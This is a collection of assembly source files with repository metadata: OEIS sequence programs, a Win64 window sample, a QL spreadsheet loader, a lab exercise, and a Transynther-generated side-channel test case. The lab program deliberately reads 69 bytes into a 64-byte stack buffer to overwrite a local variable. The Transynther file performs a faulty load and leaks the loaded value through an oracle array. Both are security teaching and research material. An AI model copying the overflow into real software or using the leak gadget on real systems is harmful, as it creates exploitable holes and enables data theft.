; A142285: Primes congruent to 36 mod 43. ; Submitted by Simon Strandgaard ; 79,251,337,509,853,1283,1627,2143,2659,2917,3089,3347,3433,3691,3863,4637,4723,5153,5669,5927,6271,6529,6701,6959,7561,9109,9281,9539,9883,10141,10313,10399,10657,11087,11173,11689,12119,12377,12721,12893,12979,13151,14011,14699,14957,15473,15559,15731,15817,16333,16763,17021,17107,17623,17881,18311,18397,18913,19429,19687,20117,20719,21149,21407,21493,21751,22697,22783,23041,23557,24847,25621,25793,26309,27427,27943,28201,28631,29147,29663,29921,30781,31039,31469,31727,32587,33533,33619,33791 mov $1,39 mov $2,$0 add $2,2 pow $2,2 lpb $2 sub $2,2 mov $3,$1 mul $3,2 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,43 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe mov $0,$1 sub $0,83 mul $0,2 add $0,81
33.88
500
0.730815
337a3485e88d6843c2a922bb4ec7701725293dd6
308
asm
Assembly
programs/oeis/063/A063144.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/063/A063144.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/063/A063144.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A063144: Dimension of the space of weight 2n cusp forms for Gamma_0( 76 ). ; 8,27,47,67,87,107,127,147,167,187,207,227,247,267,287,307,327,347,367,387,407,427,447,467,487,507,527,547,567,587,607,627,647,667,687,707,727,747,767,787,807,827,847,867,887,907,927,947,967 mov $1,$0 mul $1,20 trn $1,1 add $1,8
38.5
191
0.711039
bbc697b9f0a349bfe8d93e8ef374af67ed4f17ec
1,751
asm
Assembly
Laburi/Lab10/7-read-stdin-fgets/read_stdin_fgets.asm
DanBrezeanu/IOCLA
1a22cc2949afc72818289f47288e32004f633fd1
[ "MIT" ]
2
2019-11-18T15:56:21.000Z
2020-01-18T01:22:37.000Z
Laburi/Lab10/7-read-stdin-fgets/read_stdin_fgets.asm
zatbogdan99/IOCLA
3d499ad18624f571e6c49ff891649a05ac9908e4
[ "MIT" ]
null
null
null
Laburi/Lab10/7-read-stdin-fgets/read_stdin_fgets.asm
zatbogdan99/IOCLA
3d499ad18624f571e6c49ff891649a05ac9908e4
[ "MIT" ]
null
null
null
; ; IOCLA, Buffer management ; ; Fill buffer with data from standard input. ; Buffer is stored on the stack. ; extern printf extern puts extern strlen extern fgets extern stdin section .data read_message: db "insert buffer string: ", 0 buffer_intro_message: db "buffer is:", 0 byte_format: db " %02X(%c)", 0 null_string: db 0 var_message_and_format: db "var is 0x%08X", 13, 10, 0 section .text global main main: mov ebp, esp; for correct debugging push ebp mov ebp, esp ; Make room for local variable (32 bit, 4 bytes). ; Variable address is at ebp-4. sub esp, 4 ; Make room for buffer (64 bytes). ; Buffer address is at ebp-68. sub esp, 64 ; Initialize local variable. mov dword [ebp-4], 0xCAFEBABE ; Read buffer from standard input. push read_message call printf add esp, 4 lea ebx, [ebp-68] push dword [stdin] push dword 69 push ebx call fgets add esp, 12 ; Push string length on the stack. ; String length is stored at ebp-72. push ebx call strlen add esp, 4 push eax ; Print data in buffer. push buffer_intro_message call printf add esp, 4 xor ecx, ecx print_byte: xor eax, eax lea ebx, [ebp-68] mov al, byte[ebx+ecx] push ecx ; save ecx ; Print current byte. push eax push eax push byte_format call printf add esp, 12 pop ecx ; restore ecx inc ecx cmp ecx, [ebp-72] ; [ebp-72] = strlen(string); never again pls... jl print_byte push null_string call puts add esp, 4 ; Print local variable. mov eax, [ebp-4] push eax push var_message_and_format call printf add esp, 8 leave ret
18.051546
71
0.627641
4638eea4c12cd0eeb1834955f80b4000ebc2a22c
5,391
asm
Assembly
win64_examples/WindowWorkSample.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
8
2021-03-23T05:24:56.000Z
2021-11-29T08:56:33.000Z
win64_examples/WindowWorkSample.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
null
null
null
win64_examples/WindowWorkSample.asm
rgimad/fasm_programs
f6739ea19d5a3cdc759d902971a889eda5e98e9a
[ "MIT" ]
1
2021-09-18T07:26:29.000Z
2021-09-18T07:26:29.000Z
format PE64 GUI 5.0 entry start ; from chapter 5 of Ruslan Ablyazovs book include 'win64a.inc' section '.data' data readable writeable main_hwnd dq ? msg MSG wc WNDCLASS hInst dq ? szTitleName db 'Window work sample Win64',0 szClassName db 'ASMCLASS32',0 button_class db 'BUTTON',0 AboutTitle db 'About',0 AboutText db 'First win64 window program',0; ExitTitle db 'Exit',0 AboutBtnHandle dq ? ExitBtnHandle dq ? section '.code' code executable readable start: sub rsp, 8*5 ; align stack and alloc space for 4 parameters xor rcx, rcx call [GetModuleHandle] mov [hInst], rax mov [wc.style], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS mov rbx, WndProc mov [wc.lpfnWndProc], rbx mov [wc.cbClsExtra], 0 mov [wc.cbWndExtra], 0 mov [wc.hInstance], rax mov rdx, IDI_APPLICATION xor rcx, rcx call [LoadIcon] mov [wc.hIcon], rax mov rdx, IDC_ARROW xor rcx, rcx call [LoadCursor] mov [wc.hCursor], rax mov [wc.hbrBackground], COLOR_BACKGROUND+1 mov qword [wc.lpszMenuName], 0 mov rbx, szClassName mov qword [wc.lpszClassName], rbx mov rcx, wc call [RegisterClass] sub rsp, 8*8 ; alloc place in stack for 8 parameters xor rcx, rcx mov rdx, szClassName mov r8, szTitleName mov r9, WS_OVERLAPPEDWINDOW mov qword [rsp+8*4], 50 mov qword [rsp+8*5], 50 mov qword [rsp+8*6], 300 mov qword [rsp+8*7], 250 mov qword [rsp+8*8], rcx mov qword [rsp+8*9], rcx mov rbx, [hInst] mov [rsp+8*10], rbx mov [rsp+8*11], rcx call [CreateWindowEx] mov [main_hwnd], rax xor rcx, rcx mov rdx, button_class mov r8, AboutTitle mov r9, WS_CHILD mov qword [rsp+8*4], 50 mov qword [rsp+8*5], 50 mov qword [rsp+8*6], 200 mov qword [rsp+8*7], 50 mov rbx, [main_hwnd] mov qword [rsp+8*8], rbx mov qword [rsp+8*9], rcx mov rbx, [hInst] mov [rsp+8*10], rbx mov [rsp+8*11], rcx call [CreateWindowEx] mov [AboutBtnHandle], rax xor rcx, rcx mov rdx, button_class mov r8, ExitTitle mov r9, WS_CHILD mov qword [rsp+8*4], 50 mov qword [rsp+8*5], 150 mov qword [rsp+8*6], 200 mov qword [rsp+8*7], 50 mov rbx, [main_hwnd] mov qword [rsp+8*8], rbx mov qword [rsp+8*9], rcx mov rbx, [hInst] mov [rsp+8*10], rbx mov [rsp+8*11], rcx call [CreateWindowEx] mov [ExitBtnHandle], rax add rsp, 8*8 ; free place in stack mov rdx, SW_SHOWNORMAL mov rcx, [main_hwnd] call [ShowWindow] mov rcx, [main_hwnd] call [UpdateWindow] mov rdx, SW_SHOWNORMAL mov rcx, [AboutBtnHandle] call [ShowWindow] mov rdx, SW_SHOWNORMAL mov rcx, [ExitBtnHandle] call [ShowWindow] msg_loop: xor r9, r9 xor r8, r8 xor rdx, rdx mov rcx, msg call [GetMessage] cmp rax,1 jb end_loop jne msg_loop mov rcx, msg call [TranslateMessage] mov rcx, msg call [DispatchMessage] jmp msg_loop end_loop: xor rcx, rcx call [ExitProcess] proc WndProc hwnd, wmsg, wparam, lparam ; proc macro contains prologue (push rbp; mov rbp, rsp) etc. ; ; rdx = wmsg ; r8 = wparam ; r9 = lparam ; stack aligned! because code that calls WndProc, uses 16-byte aligned stack ; when call return addr (8bytes) pushed, and after that prologue of WndProc pushes (rbp) ; and stack becomes 16-byte aligned again sub rsp, 8*4 ; alloc space for 4 parameters cmp rdx, WM_DESTROY je .wmdestroy cmp rdx, WM_COMMAND jne .default mov rax, r8 shr rax, 16 cmp rax, BN_CLICKED jne .default cmp r9, [AboutBtnHandle] je .about cmp r9, [ExitBtnHandle] je .wmdestroy .default: call [DefWindowProc] jmp .finish .about: xor rcx, rcx mov rdx, AboutText mov r8, AboutTitle xor r9, r9 call [MessageBox] jmp .finish .wmdestroy: xor rcx, rcx call [ExitProcess] .finish: add rsp, 8*4 ; restore stack ret endp section '.relocs' fixups readable writeable section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ user,'USER32.DLL' import kernel,\ GetModuleHandle,'GetModuleHandleA',\ ExitProcess,'ExitProcess' import user,\ RegisterClass,'RegisterClassA',\ CreateWindowEx,'CreateWindowExA',\ DefWindowProc,'DefWindowProcA',\ GetMessage,'GetMessageA',\ TranslateMessage,'TranslateMessage',\ DispatchMessage,'DispatchMessageA',\ LoadCursor,'LoadCursorA',\ LoadIcon,'LoadIconA',\ ShowWindow,'ShowWindow',\ UpdateWindow,'UpdateWindow',\ MessageBox,'MessageBoxA'
25.074419
102
0.556669
65a6b9edd12f80f3cf2895e153c1fd104e8bbf9d
653
asm
Assembly
oeis/322/A322043.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/322/A322043.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/322/A322043.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A322043: Numbers k such that the coefficient of x^k in the expansion of Product_{m >= 1} (1-x^m)^15 is zero. ; 53,482,1340,2627,4343,6488,9062,12065,15497,19358,23648,28367,33515,39092,45098,51533,58397,65690,73412,81563,90143,99152,108590,118457,128753,139478,150632,162215,174227,186668,199538,212837,226565,240722,255308,270323,285767,301640,317942,334673,351833,369422,387440,405887,424763,444068,463802,483965,504557,525578,547028,568907,591215,613952,637118,660713,684737,709190,734072,759383,785123,811292,837890,864917,892373,920258,948572,977315,1006487,1036088,1066118,1096577,1127465,1158782,1190528 add $0,1 bin $0,2 mul $0,429 add $0,53
81.625
501
0.805513
6ff736cdae82d0e0046503c6da8b9b59efefa0ec
722
asm
Assembly
oeis/213/A213588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/213/A213588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/213/A213588.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A213588: Principal diagonal of the convolution array A213587. ; Submitted by Jon Maiga ; 1,7,27,96,315,994,3043,9123,26909,78370,225911,645732,1832677,5170111,14509695,40537284,112805043,312808198,864707719,2383649115,6554153921,17980221382,49222822127,134495771976,366850762825,999007796599,2716440198243,7376164231848,20003339227179,54181862205610,146594986927531,396213308434707,1069822828411877,2885978637049066,7778505573444455,20947992095163564,56370440256974893,151579783298667823,407313303962820039,1093776856938259980,2935323057573571491,7872692959598821582,21102951961950382927 add $0,1 mov $3,$0 mov $4,1 lpb $3 mul $4,$3 add $1,$4 add $1,$2 cmp $4,0 add $2,$4 add $2,$1 sub $3,1 lpe mov $0,$2
40.111111
500
0.815789
14aef5758d2ec2b54e6c9b201ad6a3f5fb073255
3,067
asm
Assembly
programs/oeis/001/A001298.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/001/A001298.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/001/A001298.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A001298: Stirling numbers of the second kind S(n+4, n). ; 0,1,31,301,1701,6951,22827,63987,159027,359502,752752,1479478,2757118,4910178,8408778,13916778,22350954,34952799,53374629,79781779,116972779,168519505,238929405,333832005,460192005,626551380,843303006,1122998436,1480692556,1934327956,2505161956,3218239332,4102913892,5193422157,6529512507,8157133257,10129183233,12506328523,15357889183,18762799783,22810647783,27602793834,33253578204,39891617634,47661197034,56723760534,67259506510,79469091310,93575446510,109825714635,128493308385,149880098511,174318735591,202175111061,233850962961,269786631961,310463973337,356409430672,408197277162,466453030512,531857047512,605148304488,687128369928,778665575688,880699393288,994245021913,1120398194839,1260340211109,1415343199389,1586775621039,1776108019539,1984919023515,2214901610715,2467869640390,2745764661640,3050663005390,3384783167766,3750493492746,4150320162066,4586955500466,5063266604466,5582304302967,6147312458077,6761737614667,7429239007267,8153698933017,8939233499493,9790203756333,10711227219693,11707189798668,12783258132918,13944892350844,15197859257764,16548245963644,18002473960044,19567313656044,21249899383020,23057744878245,24998759257395,27081263486145,29314007361145,31706187010771,34267462926151,37007978533071,39938379315471,43069832501346,46414047321972,49983295855482,53790434465922,57848925849022,62172861696022,66776985986998,71676718925238,76888181524323,82428220859673,88314435996423,94565204605599,101199710280669,108237970566649,115700865714049,123610168170049,131988572819400,140859727987650,150248267219400,160179841844400,170681154344400,181779992533776,193505264567056,205887034786576,218956560423601,232746329166351,247290097608477,262622930591637,278781241455927,295802833212027,313726940649027,332594273392003,352447059923518,373329092583328,395285773560678,418364161893678,442613021490354,468082870186074,494826029852154,522896677570554,552350897889679,583246736176405,615644253079555,649605580120155,685194976423905,722478886611405,761525999861781,802407310165461,845196177781956,889968391918606,936802234646356,985778546068732,1036980790760292,1090495125490932,1146410468252532,1204818568604532,1265814079355133,1329494629594923,1395960899099833,1465316694120433,1537669024574683,1613128182661359,1691807822911479,1773825043695159,1859300470201434,1948358338908684,2041126583563410,2137736922685210,2238324948615910,2343030218130910,2451996344630910,2565371091932286,2683306469674491,2805958830362961,2933488968066111,3066062218785111,3203848562515237,3347022727017697,3495764293320937,3650257802970537,3810692867046912,3977264276970138,4150172117111328,4329621879230088,4515824578757688,4708996872945688,4909361180899864,5117145805519384,5332585057361289,5555919380450439,5787395480055189,6027266452449165,6275791916679615,6533238148362915,6799878215527915,7075992116527915,7361866920042166,7657796907187896,7964083715763966,8281036486647366,8608972012363866,8948214887854242 lpb $0 sub $0,1 mov $2,$0 max $2,0 cal $2,259455 ; n Sum_n Sum_n Sum_n. add $1,$2 lpe
278.818182
2,911
0.911966
8fffb195171ed57addb22ae14459a68fb88be061
6,671
asm
Assembly
src/spread/act/file_load.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/file_load.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
src/spread/act/file_load.asm
olifink/qspread
d6403d210bdad9966af5d2a0358d4eed3f1e1c02
[ "MIT" ]
null
null
null
* Spreadsheet 11/03/92 O.Fink * - file loading include win1_keys_wwork include win1_keys_wstatus include win1_keys_qdos_io include win1_keys_err include win1_spread_keys include win1_mac_oli section prog xdef fil_load xref cfg_cgap,cfg_calc xref.l wst_main,mv_mcnr xref.s mli.password *+++ * load a new spreadsheet file * * Entry Exit * a0 channel of save file preserved * a4 wwork preserved * * error codes: err.eof or others * condition codes set *--- fil_load subr a0-a3/d1-d4 ; ------------------------load header----------------------------- add.w #1,da_dupdt(a6) ; disable display clr.w da_saved(a6) lea da_buff(a6),a1 ; buffer moveq #10,d2 ; nr. of bytes to fetch bsr get_mulb bne load_exit move.w sfh_init(a1),d2 ; init word sub.w #sfh.init,d2 bne.s err_icfv move.l sfh_id(a1),d2 ; application id sub.l #sfh.id,d2 bne load_exit_err clr.l da_buff+sfh_pasw(a6) ; assume no password move.l sfh_vers(a1),d2 ; file format version move.b d2,d4 ; keep version 2 or 3 here! cmp.l #sfh.v100,d2 ; 1.00 - ignore password beq.s ver_old ;;; cmp.l #sfh.v101,d2 ; 1.01 - ignore password beq.s ver_old ;;; cmp.l #sfh.v102,d2 ; 1.02 - ignore password beq.s ver_102 cmp.l #sfh.v103,d2 ; 1.03 - password never set ... beq.s ver_103_104 ; ... but compatible to 1.04 cmp.l #sfh.v104,d2 ; 1.04 with proper password beq.s ver_103_104 ; ... is OK err_icfv xlea met_err_icfv,a1 move.l a1,d0 bset #31,d0 ; incompatible file format bra load_exit_err ver_old bra.s ver_102 ver_103_104 lea da_buff+sfh_pasw(a6),a1 moveq #4,d2 ; fetch password bsr get_mulb bne load_exit_err move.b #wsi.avbl,wst_main+ws_litem+mli.password(a6) clr.l v_password(a6) ; assume no password lea da_buff(a6),a1 ; back to real buffer move.l da_buff+sfh_pasw(a6),d2 beq.s ver_102 ; if none given, carry on with 1.02 xjsr check_password ; request password 'til OK or error bne load_exit_err move.l d2,v_password(a6) ; store password move.b #wsi.slct,wst_main+ws_litem+mli.password(a6) ver_102 ; we skip the password lea da_buff+sfh_cols(a6),a1 ; so load remaining header moveq #4,d2 ; only two words left bsr get_mulb bne load_exit_err lea da_buff(a6),a1 ; back to real buffer move.w sfh_cols(a1),d2 beq.s loa_crsz ; current size of sheet move.w sfh_cols(a1),da_ncols(a6) ; set new grid size move.w sfh_rows(a1),da_nrows(a6) xjsr forg_grd bne.s err_icfv ; major problem here!! move.w #1,da_saved(a6) loa_crsz addq.w #1,da_dupdt(a6) ; --------------- load column widths ---------------------------------- move.w sfh_cols(a1),d2 beq.s loa_nocl ; no column size information bsr get_mulb ; load column size info bne.s load_exit_err bsr loa_setcs ; set column sizes loa_nocl ;--------------- load cell informations ------------------------------ move.l a3,-(sp) xjsr mon_strt loa_clp moveq #6,d2 ; load one long word/one word bsr get_mulb bne.s loa_clx ; end of file reached move.l (a1),d1 bpl.s loa_cll bsr.s loa_env ; environment code bra.s loa_clp loa_cll move.l d1,da_moncl(a6) adda.w #6,a1 bsr.s skip_value bsr get_strg ; get formular bne.s loa_clx suba.w #6,a1 bsr loa_form ; install formular bne.s loa_clx bra loa_clp loa_clx xjsr mon_stop move.l (sp)+,a3 ; --------------- redraw window --------------------------------------- clr.w da_dupdt(a6) move.w cfg_calc,d1 ; number of calculation calc_loop xjsr calc_all ; calculate complete subq.w #1,d1 bne.s calc_loop xjsr rdw_grdr moveq #0,d0 load_exit tst.l d0 subend load_exit_err clr.w da_fname(a6) ; no filename given bra.s load_exit skip_value subr a1/d2 cmp.b #'2',d4 blt.s skip_exit moveq #6,d2 bsr get_mulb skip_exit subend ; environment codes loa_env subr a1/a5 move.w sfe_code(a1),d2 ; get environment code bge.s env_env bsr.s loa_macro bra.s env_exit env_env lea env_tab,a5 add.w -2(a5,d2.w),a5 ; get routine address jsr (a5) ; do it env_exit subend loa_macro move.w d2,d0 neg.w d0 subq.w #1,d0 mulu #80,d0 move.w sfm_macr(a1),d2 ; get macro length lea mv_mcnr(a6),a1 adda.l d0,a1 move.w d2,(a1)+ ; set macro length bsr get_mulb ; read macro rts env_tab dc.w env_nfmt-env_tab ; number format dc.w env_err-env_tab ; (string format) dc.w env_fmtn-env_tab ; format numbers on/off dc.w env_ordr-env_tab ; entry order dc.w env_auto-env_tab ; auto calc on/off dc.w env_zero-env_tab ; empty when zero dc.w env_same-env_tab ; empty if same as above env_err moveq #err.nimp,d0 rts env_nfmt move.w sfe_val(a1),da_fword(a6) ; number format moveq #0,d0 rts env_fmtn move.w sfe_val(a1),da_dofmt(a6) ; format numbers on/off moveq #0,d0 rts env_ordr move.w sfe_val(a1),d0 ; calculation/input order swap d0 move.w sfe_val(a1),d0 bchg #0,d0 move.l d0,da_ordr(a6) moveq #0,d0 rts env_auto move.w sfe_val(a1),da_autoc(a6) ; auto calculation on/off moveq #0,d0 rts env_zero move.w sfe_val(a1),da_emptz(a6) ; empty when zero moveq #0,d0 rts env_same move.w sfe_val(a1),da_esame(a6) ; empty if same as above moveq #0,d0 rts ; install a new formular ; a1: cell nr (.l) ; format word (.w) ; formular (strg) ; loa_form subr a0-a4/d1-d3 move.l (a1)+,d1 move.w (a1)+,d2 xjsr acc_putf xjsr acc_fwrd moveq #0,d0 subend ; set column sizes loa_setcs subr a1/a3/d0/d1/d2 move.l da_mspcl(a6),a3 ; column spacing list bra.s sz_lpe sz_lp move.b (a1)+,d1 ; column width in chars ext.w d1 mulu #qs.xchar,d1 ; in pixels addq.w #2,d1 move.w d1,wwm_size(a3) ; set hit size move.b cfg_cgap,d0 beq.s no_gap addq.w #2,d1 no_gap move.w d1,wwm_spce(a3) ; set space to the next adda.w #wwm.slen,a3 ; next column sz_lpe dbra d2,sz_lp subend ; a0 = channel id ; a1 = ptr to string get_strg subr a1/d2 moveq #2,d2 bsr.s get_mulb bne.s strg_exit move.w (a1)+,d2 bsr.s get_mulb strg_exit subend ;+++ ; fetch multiple bytes ; ; a0 = channel id ; a1 = buffer area ; d2 = number of bytes ;--- get_mulb subr a1/d1 moveq #iob.fmul,d0 move.l d3,-(sp) moveq #forever,d3 trap #do.io move.l (sp)+,d3 tst.l d0 subend end
19.620588
72
0.624644
4dbeaeaecc559f096bedc3cb3c511da2b164e480
6,932
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_31.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_31.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_31.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_UC_ht+0xd91d, %r15 nop nop nop nop xor $16352, %rbx movw $0x6162, (%r15) nop nop nop nop nop cmp $10391, %r13 lea addresses_A_ht+0x7d1d, %r15 nop xor %r14, %r14 movl $0x61626364, (%r15) nop nop nop xor $25022, %r13 lea addresses_D_ht+0x7e1d, %rsi lea addresses_WC_ht+0x1267d, %rdi clflush (%rsi) clflush (%rdi) inc %r9 mov $44, %rcx rep movsl nop nop inc %rbx lea addresses_normal_ht+0x1453d, %rsi lea addresses_UC_ht+0x38dd, %rdi nop nop nop xor $36872, %r13 mov $62, %rcx rep movsq and $6095, %r13 lea addresses_WC_ht+0x1e0bd, %rsi lea addresses_A_ht+0xa5d, %rdi clflush (%rsi) nop and $12624, %r9 mov $48, %rcx rep movsl nop nop and $57145, %r13 lea addresses_WT_ht+0x96cc, %rsi lea addresses_A_ht+0x889d, %rdi clflush (%rsi) nop nop and $39631, %r14 mov $13, %rcx rep movsw nop nop sub $19114, %rdi lea addresses_WT_ht+0x1221d, %rsi lea addresses_A_ht+0x1091d, %rdi clflush (%rdi) cmp %r14, %r14 mov $64, %rcx rep movsw cmp %r15, %r15 lea addresses_A_ht+0x114ad, %r15 nop inc %r14 vmovups (%r15), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %rcx nop sub %rsi, %rsi lea addresses_WT_ht+0x411d, %r9 nop nop xor $48701, %r15 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 movups %xmm4, (%r9) nop cmp $20192, %r15 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %rax push %rbp push %rdx // Store lea addresses_A+0x1095d, %rdx nop nop sub $21334, %r15 mov $0x5152535455565758, %rax movq %rax, %xmm5 movups %xmm5, (%rdx) nop nop nop cmp $61767, %r11 // Store mov $0x68389c000000050d, %rbp add %rdx, %rdx mov $0x5152535455565758, %r11 movq %r11, %xmm6 vmovups %ymm6, (%rbp) nop nop nop dec %rdx // Faulty Load lea addresses_D+0x7d1d, %rax nop add %rdx, %rdx vmovups (%rax), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r15 lea oracles, %rdx and $0xff, %r15 shlq $12, %r15 mov (%rdx,%r15,1), %r15 pop %rdx pop %rbp pop %rax pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_NC'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_D'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 6, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WT_ht'}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 